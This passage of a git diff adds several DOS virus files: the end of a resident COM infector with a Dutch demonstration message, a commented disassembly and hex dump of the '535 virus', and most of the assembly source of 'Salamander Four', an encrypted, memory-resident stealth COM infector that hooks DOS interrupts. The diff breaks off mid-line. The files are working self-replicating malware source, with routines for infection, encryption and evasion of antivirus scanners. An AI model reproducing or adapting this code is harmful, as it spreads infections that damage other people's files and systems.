0 +preset db 0 + db 'A:' +fname db 'KEYBGR COM' + db 0 + +virus proc far + assume cs:code, ds:nothing, es:nothing + push ax + push cx + push dx + mov ah,0 + INT 1AH + SUB DX,TIME_0 + CMP DX,16384 + JL $3 + MOV ACTIVE,1 +$3: pop dx + pop cx + pop ax + cmp ax,4b00h + je $1 +exit_1: jmp dos_vector +$1: push es + push bx + push ds + push dx + mov di,dx + mov drive,0 + mov al,ds:[di+1] + cmp al,':' + jne $5 + mov al,ds:[di] + sub al,'A'-1 + mov drive,al +$5: cld + push cs + pop ds + xor ax,ax + mov es,ax + + assume ds:code, es:abso + + mov ax,error_int + mov bx,error_int+2 + mov error_vector,ax + mov error_vector+2,bx + mov error_int,offset error + mov error_int+2,cs + push cs + pop es + + assume es:code + + lea dx,dta + mov ah,1ah + int 21h + mov bx,11 +$2: mov al,fname-1[bx] + mov fspec-1[bx],al + dec bx + jnz $2 + lea dx,fcb + mov ah,0fh + int 21h + cmp al,0 + jne exit_0 + mov byte ptr fcb+20h,0 + mov ax,ftime + cmp ax,4800h + je exit_0 + mov preset,1 + mov si,100h +$4: lea di,dta + mov cx,128 + rep movsb + lea dx,fcb + mov ah,15h + int 21h + cmp si,offset virus_einde + jl $4 + mov fsize,offset virus_einde -100h + mov fsize+2,0 + mov fdate,0AA3h + mov ftime,4800h + lea dx,fcb + mov ah,10h + int 21h + xor ax,ax + mov es,ax + assume es:abso + mov ax,error_vector + mov bx,error_vector+2 + mov error_int,ax + mov error_int+2,bx + +exit_0: pop dx + pop ds + pop bx + pop es + assume ds:nothing, es:nothing + mov ax,4b00h + jmp dos_vector +virus endp +error proc far + iret +error endp +disease proc far + assume ds:nothing, es:nothing + push ax + push cx + test preset,1 + jz exit_2 + test active,1 + jz exit_2 + in al,61h + and al,0feh + out 61h,al + mov cx,3 +noise: mov al,rndval + xor al,rndval+3 + shl al,1 + shl al,1 + rcl word ptr rndval,1 + rcl word ptr rndval+2,1 + mov ah,rndval + and ah,2 + in al,61h + and al,0fdh + or al,ah + out 61h,al + loop noise + and al,0fch + or al,1 + out 61h,al +exit_2: pop cx + pop ax + jmp video_vector +disease endp + + db 'Dit is een demonstratie van een zogenaamd computervirus.' + db 'Het heeft volledige controle over alle systeem-componenten' + db 'en alle harde schijven en in de drive(s) ingevoerde' + db 'diskettes. Het programma kopieert zichzelf naar andere,' + db 'nog niet besmette besturingssystemen en verspreidt zich op' + db 'die manier ongecontroleerd. In dit geval zijn er geen' + db 'programma`s beschadigd of schijven gewist, omdat dit' + db 'slechts een demonstratie is. Een kwaadaardig virus' + db 'had echter wel degelijk schade aan kunnen richten.' + + org 1c2ah +virus_einde label byte +code ends +end + + +;; +;> and Remember Don't Forget to Call <; +;> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <; +;; + diff --git a/s/S35.ASM b/s/S35.ASM new file mode 100755 index 0000000..ca2dfdf --- /dev/null +++ b/s/S35.ASM @@ -0,0 +1,311 @@ +535 virus: + +11E3:0100 E90404 JMP 0507 +11E3:0103 49 DEC CX +11E3:0104 60 DB 60 +11E3:0105 6D DB 6D +11E3:0106 2035 AND [DI],DH +11E3:0108 3335 XOR SI,[DI] +11E3:010A 205649 AND [BP+49],DL +11E3:010D 52 PUSH DX +11E3:010E 55 PUSH BP +11E3:010F 53 PUSH BX +11E3:0110 210D AND [DI],CX +11E3:0112 0A24 OR AH,[SI] +11E3:0114 0000 ADD [BX+SI],AL + +11E3:04FA 0000 ADD [BX+SI],AL +11E3:04FC B409 MOV AH,09 +11E3:04FE BA0301 MOV DX,0103 +11E3:0501 CD21 INT 21 +11E3:0503 B400 MOV AH,00 +11E3:0505 CD20 INT 20 + ;Belpsi pont +11E3:0507 51 PUSH CX +11E3:0508 BAEE06 MOV DX,06EE +11E3:050B 90 NOP +11E3:050C 8BF2 MOV SI,DX +11E3:050E BF0001 MOV DI,0100 +11E3:0511 B90300 MOV CX,0003 +11E3:0514 FC CLD +11E3:0515 F3 REPZ +11E3:0516 A4 MOVSB ;Eredeti 3 byte vissza +11E3:0517 B430 MOV AH,30 +11E3:0519 CD21 INT 21 ;DOS. vltozat lekrdezse +11E3:051B 3C00 CMP AL,00 +11E3:051D 7503 JNZ 0522 +11E3:051F E9BA01 JMP 06DC +11E3:0522 06 PUSH ES +11E3:0523 B42F MOV AH,2F +11E3:0525 CD21 INT 21 ;DTA. lekrdezse +11E3:0527 8BF2 MOV SI,DX +11E3:0529 899C0300 MOV [SI+0003],BX ;DTA. cim letrolsa +11E3:052D 8C840500 MOV [SI+0005],ES +11E3:0531 07 POP ES +11E3:0532 B41A MOV AH,1A +11E3:0534 BA3000 MOV DX,0030 +11E3:0537 90 NOP +11E3:0538 03D6 ADD DX,SI +11E3:053A CD21 INT 21 ;DTA. bellitsa +11E3:053C 06 PUSH ES +11E3:053D 56 PUSH SI +11E3:053E 33FF XOR DI,DI +11E3:0540 8E062C00 MOV ES,[002C] ;Krnyezet szegmense +11E3:0544 5E POP SI +11E3:0545 56 PUSH SI +11E3:0546 81C61A00 ADD SI,001A +11E3:054A AC LODSB +11E3:054B B90080 MOV CX,8000 ;Max. 32k.byte +11E3:054E F2 REPNZ +11E3:054F AE SCASB +11E3:0550 B90400 MOV CX,0004 ;4 karakteres szo ("PATH") +11E3:0553 AC LODSB ;olvas +11E3:0554 AE SCASB ;hasonlit +11E3:0555 75ED JNZ 0544 +11E3:0557 E2FA LOOP 0553 +11E3:0559 5E POP SI +11E3:055A 07 POP ES +11E3:055B 89BC1200 MOV [SI+0012],DI +11E3:055F 8BDE MOV BX,SI +11E3:0561 81C61F00 ADD SI,001F +11E3:0565 8BFE MOV DI,SI +11E3:0567 EB3B JMP 05A4 +11E3:0569 90 NOP +11E3:056A 83BC120000 CMP WORD PTR [SI+0012],+00 ;Path vge ? +11E3:056F 7503 JNZ 0574 +11E3:0571 E95E01 JMP 06D2 +11E3:0574 1E PUSH DS +11E3:0575 56 PUSH SI +11E3:0576 26 ES: +11E3:0577 8E1E2C00 MOV DS,[002C] ;Krnyezet szegmense +11E3:057B 8BFE MOV DI,SI +11E3:057D 26 ES: +11E3:057E 8BB51200 MOV SI,[DI+0012] +11E3:0582 81C71F00 ADD DI,001F +11E3:0586 AC LODSB +11E3:0587 3C3B CMP AL,3B +11E3:0589 740A JZ 0595 +11E3:058B 3C00 CMP AL,00 +11E3:058D 7403 JZ 0592 +11E3:058F AA STOSB +11E3:0590 EBF4 JMP 0586 +11E3:0592 BE0000 MOV SI,0000 +11E3:0595 5B POP BX +11E3:0596 1F POP DS +11E3:0597 89B71200 MOV [BX+0012],SI +11E3:059B 807DFF5C CMP BYTE PTR [DI-01],5C ;"\" jel ? +11E3:059F 7403 JZ 05A4 +11E3:05A1 B05C MOV AL,5C +11E3:05A3 AA STOSB +11E3:05A4 89BF1400 MOV [BX+0014],DI +11E3:05A8 8BF3 MOV SI,BX +11E3:05AA 81C60C00 ADD SI,000C +11E3:05AE B90600 MOV CX,0006 +11E3:05B1 F3 REPZ +11E3:05B2 A4 MOVSB +11E3:05B3 8BF3 MOV SI,BX +11E3:05B5 B44E MOV AH,4E +11E3:05B7 BA1F00 MOV DX,001F +11E3:05BA 90 NOP +11E3:05BB 03D6 ADD DX,SI +11E3:05BD B90300 MOV CX,0003 +11E3:05C0 CD21 INT 21 ;Els bejegyzs keresse +11E3:05C2 EB05 JMP 05C9 +11E3:05C4 90 NOP +11E3:05C5 B44F MOV AH,4F +11E3:05C7 CD21 INT 21 ;Kvetkez bejegyzs keresse +11E3:05C9 7302 JNB 05CD +11E3:05CB EB9D JMP 056A +11E3:05CD 8B844600 MOV AX,[SI+0046] +11E3:05D1 241D AND AL,1D +11E3:05D3 3C1D CMP AL,1D +11E3:05D5 74EE JZ 05C5 +11E3:05D7 81BC4A0000FA CMP WORD PTR [SI+004A],FA00 +11E3:05DD 77E6 JA 05C5 +11E3:05DF 83BC4A000A CMP WORD PTR [SI+004A],+0A +11E3:05E4 72DF JB 05C5 +11E3:05E6 8BBC1400 MOV DI,[SI+0014] +11E3:05EA 56 PUSH SI +11E3:05EB 81C64E00 ADD SI,004E +11E3:05EF AC LODSB +11E3:05F0 AA STOSB +11E3:05F1 3C00 CMP AL,00 +11E3:05F3 75FA JNZ 05EF +11E3:05F5 5E POP SI +11E3:05F6 B80043 MOV AX,4300 +11E3:05F9 BA1F00 MOV DX,001F +11E3:05FC 90 NOP +11E3:05FD 03D6 ADD DX,SI +11E3:05FF CD21 INT 21 ;Attrib lekrdezse +11E3:0601 898C0A00 MOV [SI+000A],CX +11E3:0605 B80143 MOV AX,4301 +11E3:0608 81E1FEFF AND CX,FFFE +11E3:060C BA1F00 MOV DX,001F +11E3:060F 90 NOP +11E3:0610 03D6 ADD DX,SI +11E3:0612 CD21 INT 21 ;Attrib tllitsa +11E3:0614 B8023D MOV AX,3D02 +11E3:0617 BA1F00 MOV DX,001F +11E3:061A 90 NOP +11E3:061B 03D6 ADD DX,SI +11E3:061D CD21 INT 21 ;File nyitsa +11E3:061F 7303 JNB 0624 +11E3:0621 E99F00 JMP 06C3 +11E3:0624 8BD8 MOV BX,AX +11E3:0626 B80057 MOV AX,5700 +11E3:0629 CD21 INT 21 ;Keletkezsi id lekrdezse +11E3:062B 898C1800 MOV [SI+0018],CX +11E3:062F 89941600 MOV [SI+0016],DX +11E3:0633 B42C MOV AH,2C +11E3:0635 CD21 INT 21 ;id lekrdezse +11E3:0637 80E607 AND DH,07 +11E3:063A 7510 JNZ 064C +11E3:063C B440 MOV AH,40 +11E3:063E B90500 MOV CX,0005 +11E3:0641 8BD6 MOV DX,SI +11E3:0643 81C22B00 ADD DX,002B +11E3:0647 CD21 INT 21 ;5 byte kirsa +11E3:0649 EB5F JMP 06AA +11E3:064B 90 NOP +11E3:064C B43F MOV AH,3F +11E3:064E B90300 MOV CX,0003 +11E3:0651 8BD6 MOV DX,SI +11E3:0653 CD21 INT 21 ;Els 3 byte olvassa +11E3:0655 7253 JB 06AA +11E3:0657 3D0300 CMP AX,0003 +11E3:065A 754E JNZ 06AA +11E3:065C B80242 MOV AX,4202 +11E3:065F 33C9 XOR CX,CX +11E3:0661 33D2 XOR DX,DX +11E3:0663 CD21 INT 21 ;File mret meghatrozsa +11E3:0665 7243 JB 06AA +11E3:0667 8BC8 MOV CX,AX +11E3:0669 2D0300 SUB AX,0003 +11E3:066C 89840800 MOV [SI+0008],AX +11E3:0670 81C1E702 ADD CX,02E7 +11E3:0674 8BFE MOV DI,SI +11E3:0676 81EFE501 SUB DI,01E5 +11E3:067A 890D MOV [DI],CX +11E3:067C B440 MOV AH,40 +11E3:067E B91702 MOV CX,0217 +11E3:0681 90 NOP +11E3:0682 8BD6 MOV DX,SI +11E3:0684 81EAE701 SUB DX,01E7 +11E3:0688 CD21 INT 21 ;Fertzs +11E3:068A 721E JB 06AA +11E3:068C 3D1702 CMP AX,0217 +11E3:068F 90 NOP +11E3:0690 7518 JNZ 06AA +11E3:0692 B80042 MOV AX,4200 +11E3:0695 33C9 XOR CX,CX +11E3:0697 33D2 XOR DX,DX +11E3:0699 CD21 INT 21 ;File elejre ll +11E3:069B 720D JB 06AA +11E3:069D B440 MOV AH,40 +11E3:069F B90300 MOV CX,0003 +11E3:06A2 8BD6 MOV DX,SI +11E3:06A4 81C20700 ADD DX,0007 +11E3:06A8 CD21 INT 21 ;Uj JMP kirsa +11E3:06AA 8B8C1800 MOV CX,[SI+0018] +11E3:06AE 8B941600 MOV DX,[SI+0016] +11E3:06B2 81E1E0FF AND CX,FFE0 +11E3:06B6 81C91D00 OR CX,001D +11E3:06BA B80157 MOV AX,5701 +11E3:06BD CD21 INT 21 +11E3:06BF B43E MOV AH,3E +11E3:06C1 CD21 INT 21 ;File zrsa +11E3:06C3 B80143 MOV AX,4301 +11E3:06C6 8B8C0A00 MOV CX,[SI+000A] +11E3:06CA BA1F00 MOV DX,001F +11E3:06CD 90 NOP +11E3:06CE 03D6 ADD DX,SI +11E3:06D0 CD21 INT 21 ;Eredeti attrib. vissza +11E3:06D2 1E PUSH DS +11E3:06D3 B41A MOV AH,1A +11E3:06D5 C5940300 LDS DX,[SI+0003] +11E3:06D9 CD21 INT 21 ;Eredeti DTA. vissza +11E3:06DB 1F POP DS +11E3:06DC 59 POP CX +11E3:06DD 33C0 XOR AX,AX +11E3:06DF 33DB XOR BX,BX +11E3:06E1 33D2 XOR DX,DX +11E3:06E3 33F6 XOR SI,SI +11E3:06E5 BF0001 MOV DI,0100 +11E3:06E8 57 PUSH DI +11E3:06E9 33FF XOR DI,DI +11E3:06EB C2FFFF RET FFFF ;Eredeti prg. futtatsa +11E3:06EE E9F903 JMP 0AEA +11E3:06F1 8000D9 ADD BYTE PTR [BX+SI],D9 +11E3:06F4 0DE904 OR AX,04E9 +11E3:06F7 0420 ADD AL,20 +11E3:06F9 002A ADD [BP+SI],CH +11E3:06FB 2E CS: +11E3:06FC 43 INC BX +11E3:06FD 4F DEC DI +11E3:06FE 4D DEC BP +11E3:06FF 0028 ADD [BX+SI],CH +11E3:0701 007E1B ADD [BP+1B],BH +11E3:0704 56 PUSH SI +11E3:0705 16 PUSH SS +11E3:0706 16 PUSH SS +11E3:0707 3F AAS +11E3:0708 50 PUSH AX +11E3:0709 41 INC CX +11E3:070A 54 PUSH SP +11E3:070B 48 DEC AX +11E3:070C 3D352E CMP AX,2E35 +11E3:070F 43 INC BX +11E3:0710 4F DEC DI +11E3:0711 4D DEC BP +11E3:0712 005C44 ADD [SI+44],BL +11E3:0715 49 DEC CX +11E3:0716 53 PUSH BX +11E3:0717 4B DEC BX +11E3:0718 43 INC BX +11E3:0719 4F DEC DI +11E3:071A 50 PUSH AX +11E3:071B 59 POP CX +11E3:071C 2E CS: +11E3:071D 43 INC BX +11E3:071E 0DFF76 OR AX,76FF +-d 0100 071f + +11E3:0100 E9 04 04 49 60 6D 20 35-33 35 20 56 49 52 55 53 ...I`m 535 VIRUS +11E3:0110 21 0D 0A 24 00 00 00 00-00 00 00 00 00 00 00 00 !..$............ + +11E3:04F0 00 00 00 00 00 00 00 00-00 00 00 00 B4 09 BA 03 ................ +11E3:0500 01 CD 21 B4 00 CD 20 51-BA EE 06 90 8B F2 BF 00 ..!... Q........ +11E3:0510 01 B9 03 00 FC F3 A4 B4-30 CD 21 3C 00 75 03 E9 ........0.!<.u.. +11E3:0520 BA 01 06 B4 2F CD 21 8B-F2 89 9C 03 00 8C 84 05 ..../.!......... +11E3:0530 00 07 B4 1A BA 30 00 90-03 D6 CD 21 06 56 33 FF .....0.....!.V3. +11E3:0540 8E 06 2C 00 5E 56 81 C6-1A 00 AC B9 00 80 F2 AE ..,.^V.......... +11E3:0550 B9 04 00 AC AE 75 ED E2-FA 5E 07 89 BC 12 00 8B .....u...^...... +11E3:0560 DE 81 C6 1F 00 8B FE EB-3B 90 83 BC 12 00 00 75 ........;......u +11E3:0570 03 E9 5E 01 1E 56 26 8E-1E 2C 00 8B FE 26 8B B5 ..^..V&..,...&.. +11E3:0580 12 00 81 C7 1F 00 AC 3C-3B 74 0A 3C 00 74 03 AA .......<;t.<.t.. +11E3:0590 EB F4 BE 00 00 5B 1F 89-B7 12 00 80 7D FF 5C 74 .....[......}.\t +11E3:05A0 03 B0 5C AA 89 BF 14 00-8B F3 81 C6 0C 00 B9 06 ..\............. +11E3:05B0 00 F3 A4 8B F3 B4 4E BA-1F 00 90 03 D6 B9 03 00 ......N......... +11E3:05C0 CD 21 EB 05 90 B4 4F CD-21 73 02 EB 9D 8B 84 46 .!....O.!s.....F +11E3:05D0 00 24 1D 3C 1D 74 EE 81-BC 4A 00 00 FA 77 E6 83 .$.<.t...J...w.. +11E3:05E0 BC 4A 00 0A 72 DF 8B BC-14 00 56 81 C6 4E 00 AC .J..r.....V..N.. +11E3:05F0 AA 3C 00 75 FA 5E B8 00-43 BA 1F 00 90 03 D6 CD .<.u.^..C....... +11E3:0600 21 89 8C 0A 00 B8 01 43-81 E1 FE FF BA 1F 00 90 !......C........ +11E3:0610 03 D6 CD 21 B8 02 3D BA-1F 00 90 03 D6 CD 21 73 ...!..=.......!s +11E3:0620 03 E9 9F 00 8B D8 B8 00-57 CD 21 89 8C 18 00 89 ........W.!..... +11E3:0630 94 16 00 B4 2C CD 21 80-E6 07 75 10 B4 40 B9 05 ....,.!...u..@.. +11E3:0640 00 8B D6 81 C2 2B 00 CD-21 EB 5F 90 B4 3F B9 03 .....+..!._..?.. +11E3:0650 00 8B D6 CD 21 72 53 3D-03 00 75 4E B8 02 42 33 ....!rS=..uN..B3 +11E3:0660 C9 33 D2 CD 21 72 43 8B-C8 2D 03 00 89 84 08 00 .3..!rC..-...... +11E3:0670 81 C1 E7 02 8B FE 81 EF-E5 01 89 0D B4 40 B9 17 .............@.. +11E3:0680 02 90 8B D6 81 EA E7 01-CD 21 72 1E 3D 17 02 90 .........!r.=... +11E3:0690 75 18 B8 00 42 33 C9 33-D2 CD 21 72 0D B4 40 B9 u...B3.3..!r..@. +11E3:06A0 03 00 8B D6 81 C2 07 00-CD 21 8B 8C 18 00 8B 94 .........!...... +11E3:06B0 16 00 81 E1 E0 FF 81 C9-1D 00 B8 01 57 CD 21 B4 ............W.!. +11E3:06C0 3E CD 21 B8 01 43 8B 8C-0A 00 BA 1F 00 90 03 D6 >.!..C.......... +11E3:06D0 CD 21 1E B4 1A C5 94 03-00 CD 21 1F 59 33 C0 33 .!........!.Y3.3 +11E3:06E0 DB 33 D2 33 F6 BF 00 01-57 33 FF C2 FF FF E9 F9 .3.3....W3...... +11E3:06F0 03 80 00 D9 0D E9 04 04-20 00 2A 2E 43 4F 4D 00 ........ .*.COM. +11E3:0700 28 00 7E 1B 56 16 16 3F-50 41 54 48 3D 35 2E 43 (.~.V..?PATH=5.C +11E3:0710 4F 4D 00 5C 44 49 53 4B-43 4F 50 59 2E 43 0D FF OM.\DISKCOPY.C.. + \ No newline at end of file diff --git a/s/S4.ASM b/s/S4.ASM new file mode 100755 index 0000000..395f07f --- /dev/null +++ b/s/S4.ASM @@ -0,0 +1,581 @@ + .model tiny + .code + org 100h + +resid equ 3099h +fileid equ 's' +time_stamp equ 10001b ;stealth marker... + + host: + jmp short entry + db 90h,fileid + + vstart: + entry: + call $+3 + gd: + mov si,sp + mov bp, word ptr [si] + sub bp,offset gd + + lea si, [bp+offset vstart] + + call decrypt ;this call will probably trigger fprot! + ;but tbav doesn't note shit... + +encrypted_start: + mov ax,resid + int 21h + cmp ax,bx + je alreadyres ;check if already resident + +gores: + mov ax,ds ;ds=psp + dec ax + mov ds,ax ;ds=mcb + + xor di,di + cmp byte ptr ds:[di],'Z' ;end of chain ? + jne nomem + + sub word ptr ds:[di+3],(hend-vstart)/16+1 ;sub dos memory + + sub word ptr ds:[di+12h],(hend-vstart)/16+1 ;get tom from PSP:2 and + mov ax, word ptr ds:[di+12h] ;sub + mov es,ax ;es=virus segment... + + push cs + pop ds + + copy2mem: + cld + lea si,[bp+offset vstart] + xor di,di + mov cx,(vend-vstart)/2+1 + rep movsw ;copy virus to + ;allocated memory + + hook21h: + xor ax,ax + mov ds,ax ;ds points to int-table + push ds + + lds ax,ds:[21h*4] + mov word ptr es:[o21ho-vstart],ax + mov word ptr es:[o21hs-vstart],ds ;store int 21h's vector + + pop ds ;ds=0 + + mov word ptr ds:[21h*4],0 + mov word ptr ds:[21h*4+2],1eh ;seg of hole in mem... + + mov byte ptr ds:[1e0h],0eah ;jmp dword ptr + mov word ptr ds:[1e1h],(n21h-vstart) ; es:n21-vstart + mov word ptr ds:[1e3h],es ;this makes i21h's + ;vector + ;point to 0eh:0h and + ;thats were we placed + ;a jmp far to + ;es:(n21h-vstart) ;)) + nomem: + alreadyres: + return_com: + inc sp ;this is to restore the sp to 0fffeh, done b'cos + inc sp ;of the delta offset calc in the begining... + ;don't know if it's nessesary thou... + + push cs cs ;cs=ds=es + pop es ds + + mov di,100h + push di + lea si,[bp+offset hbytes] + movsw + movsw + + ret ; jmp 100h to start host + +;----------------------------------------------------------------------------- +; This is our new int 24h handler. ie. our new critical error handler +; it'll assume no error + n24h: + mov al,0 + iret +;----------------------------------------------------------------------------- +;new int 21h handler +; TU> +; This is totally fucked up, he could have used +; direct-jumps for example the stealth-routines, +; but since this is an early beta, he didn't ;). +; Thrust me, this was fixed, too. + + +n21h: + cmp ax,resid + jne exec + mov bx,resid + iret ;so virus wont load resident twice+ + + exec: + cmp ax,4b00h + jne cinfect + jmp infect + cinfect: + cmp ah,3eh ;close ? + jne odisinf + jmp close_infect ;infect! + odisinf: + cmp ah,3dh + jne ext_open + jmp open_disinfect ;if it's a file open, then disinfect! + ext_open: + cmp ax,6c00h + jne _11 + jmp extended_open ;if it's a extended open (F-prot for example...) + _11: + cmp ah,11h + jne _12 + jmp short fcb_stealth ;stealth during a dos-dir, find first via handles + _12: + cmp ah,12h + jne _4e + jmp short fcb_stealth ;stealth during a dos-dir, find next + _4e: + cmp ah,4eh + jne _4f + jmp short handle_stealth ;stealth during normal find first + _4f: + cmp ah,4fh + jne o21h + jmp short handle_stealth ;stealth during normal find next + +o21h: db 0eah +o21ho dw 0 +o21hs dw 0 ;jmp far o21hs:o21ho + ret ;used for calls to old int 21h... +;----------------------------------------------------------------------------- +;This routine will hide the size-increase of an infected .com when using +; 11h/12h or 4eh/4fh + +; TU> +; I believe these two routines were put togheter into one in a latter +; version.. Sorry ;). + + +fcb_stealth: ;11h/12h + pushf + push cs + call o21h ;fake a call to old int handler + or al,al + jnz stealth_error + + pushf + push ax bx es ;dont destroy + + mov ah,51h + int 21h ;get psp addr. + + mov es,bx + cmp bx,es:[16h] ;dos calling? + jne dont_stealth + + mov bx,dx + mov al,[bx] ;current drive, if al=ffh then ext.fcb + + push ax + mov ah,2Fh + int 21h ;get dta addr. es:bx + pop ax + + inc al ;if al=ffh => al=00 + jnz regular_fcb ;if al=00 then it's an extended fcb + + add bx,7 ;skip dos-reserved and attribs... +regular_fcb: + add bx,3 ;the byte diffrence between the offset + ;to the filesize using fcb/handles + mov ax,es:[bx+14h] ;ax=timestamp (14h+3=17h ;) + jmp short stealth_it ;hide the size + +handle_stealth: ;4e/4f + pushf + push cs + call o21h ;fake int call + jc stealth_error ;there was an error so don't stealth + ; (such as no files to find.. ) + pushf + push ax bx es ;save + + mov ah,2fh + int 21h ;get dta addr., es:bx points to it... + + mov ax,es:[bx+16h] ;get time stamp + +stealth_it: + + and al,00011111b ;kill all but secs... + xor al,time_stamp ;xor with our marker + jnz dont_stealth ;not ours :( + + cmp word ptr es:[bx+1ah],(vend-vstart) ;if fcb bx=bx+3 + jb dont_stealth ;too small to be us... + cmp word ptr es:[bx+1ch],0 ;if fcb bx=bx+3 + ja dont_stealth ;too large for us...>64k + + sub word ptr es:[bx+1ah],(vend-vstart) ;decrease the filesize + sbb word ptr es:[bx+1ch],0 ; (* WHY ?? - TU *) + +dont_stealth: + pop es bx ax + popf + +stealth_error: ;if there was an error during int call + +stealth_done: + retf 2 + +;----------------------------------------------------------------------------- +;This is our infection routine, ds:dx points to filename upon entry + +infect: + push ax bx cx dx di si ds es ;don't destroy regs/segs + mov byte ptr cs:(cflag-vstart),0 ;no closeinfection... + xchg_i24h: + mov ax,3524h + int 21h ;get int 24h's vector in es:bx + push es bx ;save es:bx so we can restore the handler... + + push ds dx cs ;save ds:dx=filename + pop ds ;ds=cs + + mov ah,25h + mov dx,(n24h-vstart) + int 21h ;set int 24h's vector to our handler + + pop dx ds ;ds:dx=filename + mov ax,4300h + int 21h + push cx ;get and save attribs + + mov ax,4301h + push ax ds dx + xor cx,cx + int 21h ;clear attribs + + call openfile_rw ;open file r/w + +infect_close: + push cs cs + pop ds es ;ds=cs=es + + mov ah,3fh + mov dx,(hbytes-vstart) + mov cx,4 + int 21h ;read first 3 bytes + + cmp byte ptr ds:[hbytes-vstart],'M' + je jmpclose ; *.exe + cmp byte ptr ds:[hbytes-vstart],'Z' + jne @okey ; *.exe + jmpclose: + jmp close + @okey: + cmp byte ptr ds:[hbytes-vstart+3],fileid + je jmpclose ; infected by us already + + call get_name ;get filename via sft's, in es:di + cmp word ptr es:[di],'OC' ;command.com + je jmpclose ;then close the file... + + mov ax,5700h + int 21h + push cx dx ;read files time/date and save them + + Call Go_eof ;go to end of file... ax=filesize on + ;return + + cmp ax,1024 + jb restore + cmp ax,63000 + ja restore ;too small/large ? + + sub ax,3 ;jmp entry + mov word ptr ds:[nbytes-vstart+1],ax ;save jmp loc + + get_encval: + mov ah,2ch + int 21h + or dl,dl + jz get_encval ;get new value if enc_val=0 + + mov word ptr ds:[encval-vstart],dx ;save it. + + copy2buf: + cld + mov ax,8d00h + mov es,ax ;es=8d00h + xor si,si + xor di,di + mov cx,(vend-vstart)/2+1 + rep movsw ;copy virus to encbuf + + enc_buf: + mov si,(encrypted_start-vstart) + call encrypt ;encrypt es:si + + write: + push es + pop ds ;es=ds=8d00h + mov ah,40h + mov cx,(vend-vstart) + cwd ;write from 8d00h:0000h + int 21h ;write encrypted virus to file + + push cs + pop ds ;cs=ds + + xor ax,ax + call move_fp ;go to begining of file + + mov ah,40h + mov cx,4 + mov dx,(nbytes-vstart) + int 21h ;write jmp to virus entry + + + restore: + mov ax,5701h + pop dx cx + + and cl,11100000b ;zero sec's + or cl,time_stamp ;mark with our infection marker + int 21h ;restored files time/date stamp + + close: + cmp byte ptr cs:(cflag-vstart),1 ;if it is a infection on + je goon2 ;close don't close file... + ;and don't restore attribs + mov ah,3eh + int 21h + + pop dx ds ax cx ;restore ax=4301h, ds:dx=filename + int 21h + + restore_i24h: + mov ax,2524h + pop dx ds ;ds:dx points to old int 24h + int 21h ;handler + + + goon2: + mov byte ptr cs:(cflag-vstart),0 ;no close infection anymore + +dah: pop es ds si di dx cx bx ax ;restore all segs/regs +duh: jmp o21h ;do old int 21h +;----------------------------------------------------------------------------- +close_infect: + cmp bx, 4 ;don't close AUX/NULL/CON... + jbe duh ;jmp to jmp to org 21h ;) + + push ax bx cx dx di si ds es ;don't destroy regs/segs + + call get_name + add di,8 ;es:di file ext + + cmp word ptr es:[di],'OC' + jne noclose + cmp word ptr es:[di+2],'M' + jne noclose + + mov byte ptr es:[di-26h],2 ;mark file as open in r/w mode + + xor ax,ax + call move_fp ;go to begining of file + + mov byte ptr cs:(cflag-vstart),1 ;mark it as a close infection... + jmp infect_close + +noclose: + jmp short dah + pop es ds si di dx cx bx ax ;restore all segs/regs + jmp o21h +;----------------------------------------------------------------------------- +;This routine will disinfect an infected .com file on open! + +extended_open: + cmp dx,1 + je yessir + jmp o21h ;don't do anything... + yessir: + mov ah,3dh + mov al,bl + mov dx,si ;filename ds:si=ds:dx... + mov byte ptr cs:(oflag-vstart),1 + +open_disinfect: ;ds:dx=filename... + push ax bx cx dx di si ds es ;save all regs/segs... + + push ds + pop es ;ds=es + + mov cx,64 ;path+fname= max 65 + mov di,dx ;offs to filename + mov al,'.' ;look for '.' + repne scasb ;repeat scansingel byte until cx=0 + ;offset to '.'+1 in di + cmp word ptr ds:[di],'OC' + je smallc + cmp word ptr ds:[di],'oc' + jne nocom + smallc: + cmp byte ptr ds:[di+2],'M' + je openfile + cmp byte ptr ds:[di+2],'m' + je openfile ;check if it's a com or COM + + nocom: + jmp no_opendis + + openfile: + call openfile_rw ;open file r/w + + push cs cs + pop ds es ;cs=ds=es + + mov ax,5700h + int 21h + push cx dx ;save time/date + + read_f4: + mov ah,3fh + mov cx,4 + mov dx,(hbytes-vstart) ;use hbytes it won't be at first... + int 21h ;read first 4 bytes... + + chk_markers: + cmp byte ptr ds:[hbytes-vstart+3],fileid ;ie. our marker + jne close_dis + cmp byte ptr ds:[hbytes-vstart],0e9h ;check if it is a jmp. + jne close_dis ;if itsn't it can't be us... + + call go_eof ;go to end of file, + ;ax=fsize on return + + mov dx,ax ;store fsize in dx too + sub ax,(vend-entry+3) + cmp word ptr ds:[hbytes-vstart+1],ax ;check if the jmp is to + jne close_dis ;our supposed entry point + + push dx ;push fsize + + xor ax,ax + sub dx,(vend-hbytes) ;goto hbytes offs. in file + call go_to + + mov ah,3fh + mov cx,4 + mov dx,(hbytes-vstart) + int 21h ;store bytes read in memory + + xor ax,ax + call move_fp ;go tof + + mov ah,40h + mov dx,(hbytes-vstart) + mov cx,4 + int 21h + + pop dx + + sub dx,(vend-vstart) ;dx=size of original file + xor ax,ax + call go_to ;go to bof+cx:dx ie + ;fsize-vsize + + mov ah,40h + xor cx,cx + int 21h ;trunc file.... + +close_dis: + mov ax,5701h + pop dx cx + int 21h ;restore time/date + + mov ah,3eh + pushf + push cs + call o21h ;close file +no_opendis: ;the file was never opened + pop es ds si di dx cx bx ax ;restore all segs/regs + cmp byte ptr cs:(oflag-vstart),1 + jne @dduh + mov ax,6c00h ;restore ax + mov dx,1 ;restore dx after + ;disinfecting... + mov byte ptr cs:(oflag-vstart),0 ;restore to no-extended open... +@dduh: jmp o21h +;----------------------------------------------------------------------------- + get_name: + push bx + mov ax,1220h ;get jft for handle at es:di + int 2fh + + mov ax,1216h ;get system file table + mov bl,byte ptr es:[di] ;for handle index in bx + int 2fh + pop bx + add di,20h ;es:di+20h points to file fname + + ret ;return +;----------------------------------------------------------------------------- +go_eof: + mov al,2 +move_fp: + cwd +go_to: + xor cx,cx + mov ah,42h + int 21h + ret +;----------------------------------------------------------------------------- +;Open file proc. via call to original int 21h... only saves 2 bytes or sumthin +;ds:dx->filename + +Openfile_rw: + mov ax,3d02h + pushf + push cs + call o21h + xchg bx,ax + ret ;return to caller with filehandle in bx... +;----------------------------------------------------------------------------- +;DATA AREA + +oflag db 0 ;extended open marker +cflag db 0 ;close infection marker +tag db '[- Salamander Four -] (c) by Blonde in 1994' +nbytes db 